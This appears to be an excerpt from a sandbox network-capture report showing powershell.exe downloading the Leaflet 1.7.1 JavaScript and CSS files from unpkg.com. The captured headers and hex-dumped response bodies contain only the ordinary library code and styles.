                                                              2024-07-04 09:16:21 UTC5INData Raw: 30 0d 0a 0d 0a
                                                              Data Ascii: 0


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              2192.168.2.649734104.17.247.2034436600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:22 UTC338OUTGET /leaflet@1.7.1/dist/leaflet.js HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              Origin: about:
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Host: unpkg.com
                                                              Connection: Keep-Alive
                                                              2024-07-04 09:16:22 UTC577INHTTP/1.1 200 OK
                                                              Date: Thu, 04 Jul 2024 09:16:22 GMT
                                                              Content-Type: application/javascript; charset=utf-8
                                                              Transfer-Encoding: chunked
                                                              Connection: close
                                                              access-control-allow-origin: *
                                                              cache-control: public, max-age=31536000
                                                              last-modified: Sat, 26 Oct 1985 08:15:00 GMT
                                                              etag: W/"22a75-iKkf+OateC1bxjLRQ9tMu5Nt07Q"
                                                              via: 1.1 fly.io
                                                              fly-request-id: 01HRWFHG71YYB2NDGYJAJDJX18-lga
                                                              CF-Cache-Status: HIT
                                                              Age: 9731766
                                                              Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                              X-Content-Type-Options: nosniff
                                                              Server: cloudflare
                                                              CF-RAY: 89de04214e9e436c-EWR
                                                              2024-07-04 09:16:22 UTC792INData Raw: 37 37 33 36 0d 0a 2f 2a 20 40 70 72 65 73 65 72 76 65 0a 20 2a 20 4c 65 61 66 6c 65 74 20 31 2e 37 2e 31 2c 20 61 20 4a 53 20 6c 69 62 72 61 72 79 20 66 6f 72 20 69 6e 74 65 72 61 63 74 69 76 65 20 6d 61 70 73 2e 20 68 74 74 70 3a 2f 2f 6c 65 61 66 6c 65 74 6a 73 2e 63 6f 6d 0a 20 2a 20 28 63 29 20 32 30 31 30 2d 32 30 31 39 20 56 6c 61 64 69 6d 69 72 20 41 67 61 66 6f 6e 6b 69 6e 2c 20 28 63 29 20 32 30 31 30 2d 32 30 31 31 20 43 6c 6f 75 64 4d 61 64 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 69 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66
                                                              Data Ascii: 7736/* @preserve * Leaflet 1.7.1, a JS library for interactive maps. http://leafletjs.com * (c) 2010-2019 Vladimir Agafonkin, (c) 2010-2011 CloudMade */!function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 5f 69 64 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 69 2c 65 29 7b 76 61 72 20 6e 2c 6f 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 31 2c 6f 26 26 28 72 2e 61 70 70 6c 79 28 65 2c 6f 29 2c 6f 3d 21 31 29 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3f 6f 3d 61 72 67 75 6d 65 6e 74 73 3a 28 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 73 2c 69 29 2c 6e 3d 21 30 29 7d 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 69 2c 65 29 7b 76 61 72 20 6e 3d 69 5b 31 5d 2c 6f 3d 69 5b 30 5d 2c 73 3d 6e 2d 6f 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 6e 26 26 65 3f 74 3a 28 28 74 2d 6f 29 25 73 2b 73 29 25 73 2b 6f 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63
                                                              Data Ascii: _id}function n(t,i,e){var n,o,s=function(){n=!1,o&&(r.apply(e,o),o=!1)},r=function(){n?o=arguments:(t.apply(e,arguments),setTimeout(s,i),n=!0)};return r}function o(t,i,e){var n=i[1],o=i[0],s=n-o;return t===n&&e?t:((t-o)%s+s)%s+o}function a(){return!1}func
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 7c 7c 78 28 22 52 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 22 29 7c 7c 50 2c 54 3d 77 69 6e 64 6f 77 2e 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 7c 7c 78 28 22 43 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 22 29 7c 7c 78 28 22 43 61 6e 63 65 6c 52 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 22 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 77 69 6e 64 6f 77 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 74 2c 69 2c 65 29 7b 69 66 28 21 65 7c 7c 62 21 3d 3d 50 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 77 69 6e 64 6f 77 2c 70 28 74 2c 69 29 29 3b 74 2e 63 61 6c 6c 28 69 29 7d 66 75 6e 63 74 69 6f 6e
                                                              Data Ascii: estAnimationFrame||x("RequestAnimationFrame")||P,T=window.cancelAnimationFrame||x("CancelAnimationFrame")||x("CancelRequestAnimationFrame")||function(t){window.clearTimeout(t)};function M(t,i,e){if(!e||b!==P)return b.call(window,p(t,i));t.call(i)}function
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 6b 73 43 61 6c 6c 65 64 29 7b 65 2e 63 61 6c 6c 49 6e 69 74 48 6f 6f 6b 73 26 26 65 2e 63 61 6c 6c 49 6e 69 74 48 6f 6f 6b 73 2e 63 61 6c 6c 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 69 6e 69 74 48 6f 6f 6b 73 43 61 6c 6c 65 64 3d 21 30 3b 66 6f 72 28 76 61 72 20 74 3d 30 2c 69 3d 6e 2e 5f 69 6e 69 74 48 6f 6f 6b 73 2e 6c 65 6e 67 74 68 3b 74 3c 69 3b 74 2b 2b 29 6e 2e 5f 69 6e 69 74 48 6f 6f 6b 73 5b 74 5d 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 69 7d 2c 53 2e 69 6e 63 6c 75 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 68 28 74 68 69 73 2e 70 72 6f 74 6f 74 79 70 65 2c 74 29 2c 74 68 69 73 7d 2c 53 2e 6d 65 72 67 65 4f 70 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 68 28 74 68 69 73 2e 70 72 6f 74 6f 74
                                                              Data Ascii: ksCalled){e.callInitHooks&&e.callInitHooks.call(this),this._initHooksCalled=!0;for(var t=0,i=n._initHooks.length;t<i;t++)n._initHooks[t].call(this)}},i},S.include=function(t){return h(this.prototype,t),this},S.mergeOptions=function(t){return h(this.protot
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 76 65 6e 74 73 5b 74 5d 7d 7d 2c 66 69 72 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 29 7b 69 66 28 21 74 68 69 73 2e 6c 69 73 74 65 6e 73 28 74 2c 65 29 29 72 65 74 75 72 6e 20 74 68 69 73 3b 76 61 72 20 6e 3d 68 28 7b 7d 2c 69 2c 7b 74 79 70 65 3a 74 2c 74 61 72 67 65 74 3a 74 68 69 73 2c 73 6f 75 72 63 65 54 61 72 67 65 74 3a 69 26 26 69 2e 73 6f 75 72 63 65 54 61 72 67 65 74 7c 7c 74 68 69 73 7d 29 3b 69 66 28 74 68 69 73 2e 5f 65 76 65 6e 74 73 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 74 5d 3b 69 66 28 6f 29 7b 74 68 69 73 2e 5f 66 69 72 69 6e 67 43 6f 75 6e 74 3d 74 68 69 73 2e 5f 66 69 72 69 6e 67 43 6f 75 6e 74 2b 31 7c 7c 31 3b 66 6f 72 28 76 61 72 20 73 3d 30 2c 72 3d 6f 2e 6c 65 6e 67 74 68 3b 73 3c 72 3b 73 2b 2b 29
                                                              Data Ascii: vents[t]}},fire:function(t,i,e){if(!this.listens(t,e))return this;var n=h({},i,{type:t,target:this,sourceTarget:i&&i.sourceTarget||this});if(this._events){var o=this._events[t];if(o){this._firingCount=this._firingCount+1||1;for(var s=0,r=o.length;s<r;s++)
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 3b 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 69 2c 65 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6b 3f 74 3a 67 28 74 29 3f 6e 65 77 20 6b 28 74 5b 30 5d 2c 74 5b 31 5d 29 3a 6e 75 6c 6c 3d 3d 74 3f 74 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 22 78 22 69 6e 20 74 26 26 22 79 22 69 6e 20 74 3f 6e 65 77 20 6b 28 74 2e 78 2c 74 2e 79 29 3a 6e 65 77 20 6b 28 74 2c 69 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 74 2c 69 29 7b 69 66 28 74 29 66 6f 72 28 76 61 72 20 65 3d 69 3f 5b 74 2c 69 5d 3a 74 2c 6e 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 6f 3b 6e 2b 2b 29 74 68 69 73 2e 65 78 74 65 6e 64 28 65 5b 6e 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 74 2c 69 29 7b 72 65 74 75 72 6e 21 74 7c 7c 74 20 69 6e 73 74 61
                                                              Data Ascii: ;function A(t,i,e){return t instanceof k?t:g(t)?new k(t[0],t[1]):null==t?t:"object"==typeof t&&"x"in t&&"y"in t?new k(t.x,t.y):new k(t,i,e)}function I(t,i){if(t)for(var e=i?[t,i]:t,n=0,o=e.length;n<o;n++)this.extend(e[n])}function O(t,i){return!t||t insta
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 73 63 61 6c 65 42 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6b 28 74 68 69 73 2e 78 2f 74 2e 78 2c 74 68 69 73 2e 79 2f 74 2e 79 29 7d 2c 72 6f 75 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6c 6f 6e 65 28 29 2e 5f 72 6f 75 6e 64 28 29 7d 2c 5f 72 6f 75 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 78 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 73 2e 78 29 2c 74 68 69 73 2e 79 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 74 68 69 73 2e 79 29 2c 74 68 69 73 7d 2c 66 6c 6f 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6c 6f 6e 65 28 29 2e 5f 66 6c 6f 6f 72 28 29 7d 2c 5f 66 6c 6f 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74
                                                              Data Ascii: scaleBy:function(t){return new k(this.x/t.x,this.y/t.y)},round:function(){return this.clone()._round()},_round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this},floor:function(){return this.clone()._floor()},_floor:function(){ret
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 69 73 2e 6d 69 6e 7d 2c 67 65 74 42 6f 74 74 6f 6d 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 78 7d 2c 67 65 74 53 69 7a 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 78 2e 73 75 62 74 72 61 63 74 28 74 68 69 73 2e 6d 69 6e 29 7d 2c 63 6f 6e 74 61 69 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 69 2c 65 3b 72 65 74 75 72 6e 28 74 3d 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 5b 30 5d 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6b 3f 41 3a 4f 29 28 74 29 29 69 6e 73 74 61 6e 63 65 6f 66 20 49 3f 28 69 3d 74 2e 6d 69 6e 2c 65 3d 74 2e 6d 61 78 29 3a 69 3d 65 3d 74 2c 69 2e 78 3e 3d 74 68 69 73 2e 6d 69 6e 2e 78 26 26 65 2e 78 3c 3d 74 68 69 73 2e
                                                              Data Ascii: is.min},getBottomRight:function(){return this.max},getSize:function(){return this.max.subtract(this.min)},contains:function(t){var i,e;return(t=("number"==typeof t[0]||t instanceof k?A:O)(t))instanceof I?(i=t.min,e=t.max):i=e=t,i.x>=this.min.x&&e.x<=this.
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 6e 6f 72 74 68 45 61 73 74 7d 2c 67 65 74 4e 6f 72 74 68 57 65 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 28 74 68 69 73 2e 67 65 74 4e 6f 72 74 68 28 29 2c 74 68 69 73 2e 67 65 74 57 65 73 74 28 29 29 7d 2c 67 65 74 53 6f 75 74 68 45 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 28 74 68 69 73 2e 67 65 74 53 6f 75 74 68 28 29 2c 74 68 69 73 2e 67 65 74 45 61 73 74 28 29 29 7d 2c 67 65 74 57 65 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 6f 75 74 68 57 65 73 74 2e 6c 6e 67 7d 2c 67 65 74 53 6f 75 74 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f
                                                              Data Ascii: function(){return this._northEast},getNorthWest:function(){return new D(this.getNorth(),this.getWest())},getSouthEast:function(){return new D(this.getSouth(),this.getEast())},getWest:function(){return this._southWest.lng},getSouth:function(){return this._
                                                              2024-07-04 09:16:22 UTC1369INData Raw: 6f 72 6d 61 74 69 6f 6e 2e 5f 74 72 61 6e 73 66 6f 72 6d 28 65 2c 6e 29 7d 2c 70 6f 69 6e 74 54 6f 4c 61 74 4c 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 73 63 61 6c 65 28 69 29 2c 6e 3d 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 61 74 69 6f 6e 2e 75 6e 74 72 61 6e 73 66 6f 72 6d 28 74 2c 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 6a 65 63 74 69 6f 6e 2e 75 6e 70 72 6f 6a 65 63 74 28 6e 29 7d 2c 70 72 6f 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 6a 65 63 74 69 6f 6e 2e 70 72 6f 6a 65 63 74 28 74 29 7d 2c 75 6e 70 72 6f 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 6a 65 63 74 69 6f 6e 2e 75 6e 70 72 6f
                                                              Data Ascii: ormation._transform(e,n)},pointToLatLng:function(t,i){var e=this.scale(i),n=this.transformation.untransform(t,e);return this.projection.unproject(n)},project:function(t){return this.projection.project(t)},unproject:function(t){return this.projection.unpro


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              3192.168.2.649737104.17.247.2034436600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              2024-07-04 09:16:23 UTC323OUTGET /leaflet@1.7.1/dist/leaflet.css HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Host: unpkg.com
                                                              Connection: Keep-Alive
                                                              2024-07-04 09:16:23 UTC562INHTTP/1.1 200 OK
                                                              Date: Thu, 04 Jul 2024 09:16:23 GMT
                                                              Content-Type: text/css; charset=utf-8
                                                              Transfer-Encoding: chunked
                                                              Connection: close
                                                              access-control-allow-origin: *
                                                              cache-control: public, max-age=31536000
                                                              last-modified: Sat, 26 Oct 1985 08:15:00 GMT
                                                              etag: W/"37c0-cW5oWHzFcgrzuKuBtMixbfPjmt4"
                                                              via: 1.1 fly.io
                                                              fly-request-id: 01HRW746F6QC64ECRYCKZR62G5-lga
                                                              CF-Cache-Status: HIT
                                                              Age: 9740598
                                                              Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                              X-Content-Type-Options: nosniff
                                                              Server: cloudflare
                                                              CF-RAY: 89de0427ee91438a-EWR
                                                              2024-07-04 09:16:23 UTC807INData Raw: 33 37 63 30 0d 0a 2f 2a 20 72 65 71 75 69 72 65 64 20 73 74 79 6c 65 73 20 2a 2f 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 61 6e 65 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 69 6c 65 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6d 61 72 6b 65 72 2d 69 63 6f 6e 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6d 61 72 6b 65 72 2d 73 68 61 64 6f 77 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 69 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 61 6e 65 20 3e 20 73 76 67 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 61 6e 65 20 3e 20 63 61 6e 76 61 73 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 7a 6f 6f 6d 2d 62 6f 78 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 69 6d 61 67 65 2d 6c 61 79 65 72 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6c 61 79 65 72 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a
                                                              Data Ascii: 37c0/* required styles */.leaflet-pane,.leaflet-tile,.leaflet-marker-icon,.leaflet-marker-shadow,.leaflet-tile-container,.leaflet-pane > svg,.leaflet-pane > canvas,.leaflet-zoom-box,.leaflet-image-layer,.leaflet-layer {position:
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 61 63 6b 20 74 68 61 74 20 70 72 65 76 65 6e 74 73 20 68 77 20 6c 61 79 65 72 73 20 22 73 74 72 65 74 63 68 69 6e 67 22 20 77 68 65 6e 20 6c 6f 61 64 69 6e 67 20 6e 65 77 20 74 69 6c 65 73 20 2a 2f 0d 0a 2e 6c 65 61 66 6c 65 74 2d 73 61 66 61 72 69 20 2e 6c 65 61 66 6c 65 74 2d 74 69 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 09 77 69 64 74 68 3a 20 31 36 30 30 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 36 30 30 70 78 3b 0d 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 20 30 20 30 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6d 61 72 6b 65 72 2d 69 63 6f 6e 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6d 61 72 6b 65 72 2d 73 68 61 64 6f 77 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 7d 0d 0a 2f
                                                              Data Ascii: ack that prevents hw layers "stretching" when loading new tiles */.leaflet-safari .leaflet-tile-container {width: 1600px;height: 1600px;-webkit-transform-origin: 0 0;}.leaflet-marker-icon,.leaflet-marker-shadow {display: block;}/
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 69 74 79 3a 20 68 69 64 64 65 6e 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 69 6c 65 2d 6c 6f 61 64 65 64 20 7b 0d 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 7a 6f 6f 6d 2d 62 6f 78 20 7b 0d 0a 09 77 69 64 74 68 3a 20 30 3b 0d 0a 09 68 65 69 67 68 74 3a 20 30 3b 0d 0a 09 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 09 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 09 7a 2d 69 6e 64 65 78 3a 20 38 30 30 3b 0d 0a 09 7d 0d 0a 2f 2a 20 77 6f 72 6b 61 72 6f 75 6e 64 20 66 6f 72 20 68 74 74 70 73 3a 2f 2f 62 75 67 7a 69 6c 6c 61 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 73 68 6f 77 5f 62 75 67 2e 63 67
                                                              Data Ascii: ity: hidden;}.leaflet-tile-loaded {visibility: inherit;}.leaflet-zoom-box {width: 0;height: 0;-moz-box-sizing: border-box; box-sizing: border-box;z-index: 800;}/* workaround for https://bugzilla.mozilla.org/show_bug.cg
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 6f 70 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 62 6f 74 74 6f 6d 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 6c 65 66 74 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 70 78 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 72 69 67 68 74 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 31 30 70 78 3b 0d 0a
                                                              Data Ascii: float: right;}.leaflet-top .leaflet-control {margin-top: 10px;}.leaflet-bottom .leaflet-control {margin-bottom: 10px;}.leaflet-left .leaflet-control {margin-left: 10px;}.leaflet-right .leaflet-control {margin-right: 10px;
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 6f 69 6e 74 65 72 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 67 72 61 62 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 67 72 61 62 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 20 20 20 2d 6d 6f 7a 2d 67 72 61 62 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 20 20 20 20 20 20 20 20 67 72 61 62 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 72 6f 73 73 68 61 69 72 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 72 6f 73 73 68 61 69 72 20 2e 6c 65 61 66 6c 65 74 2d 69 6e 74 65 72 61 63 74 69 76 65 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 63 72 6f 73 73 68 61 69 72 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 70 6f 70 75 70 2d 70 61 6e 65 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 0d 0a 09 7d
                                                              Data Ascii: ointer;}.leaflet-grab {cursor: -webkit-grab;cursor: -moz-grab;cursor: grab;}.leaflet-crosshair,.leaflet-crosshair .leaflet-interactive {cursor: crosshair;}.leaflet-popup-pane,.leaflet-control {cursor: auto;}
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 67 65 6e 65 72 61 6c 20 74 6f 6f 6c 62 61 72 20 73 74 79 6c 65 73 20 2a 2f 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 62 61 72 20 7b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 35 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 35 29 3b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0d 0a 09 7d 0d 0a 2e 6c 65 61 66 6c 65 74 2d 62 61 72 20 61 2c 0d 0a 2e 6c 65 61 66 6c 65 74 2d 62 61 72 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0d 0a 09 77 69 64 74 68 3a 20 32 36 70 78 3b 0d 0a 09 68 65 69
                                                              Data Ascii: ans-serif;}/* general toolbar styles */.leaflet-bar {box-shadow: 0 1px 5px rgba(0,0,0,0.65);border-radius: 4px;}.leaflet-bar a,.leaflet-bar a:hover {background-color: #fff;border-bottom: 1px solid #ccc;width: 26px;hei
                                                              2024-07-04 09:16:23 UTC1369INData Raw: 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 74 6f 75 63 68 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 7a 6f 6f 6d 2d 69 6e 2c 20 2e 6c 65 61 66 6c 65 74 2d 74 6f 75 63 68 20 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 7a 6f 6f 6d 2d 6f 75 74 20 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 70 78 3b 0d 0a 09 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 6c 61 79 65 72 73 20 63 6f 6e 74 72 6f 6c 20 2a 2f 0d 0a 0d 0a 2e 6c 65 61 66 6c 65 74 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 79 65 72 73 20 7b 0d 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 35 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 09 7d 0d 0a 2e
                                                              Data Ascii: .leaflet-touch .leaflet-control-zoom-in, .leaflet-touch .leaflet-control-zoom-out {font-size: 22px;}/* layers control */.leaflet-control-layers {box-shadow: 0 1px 5px rgba(0,0,0,0.4);background: #fff;border-radius: 5px;}.
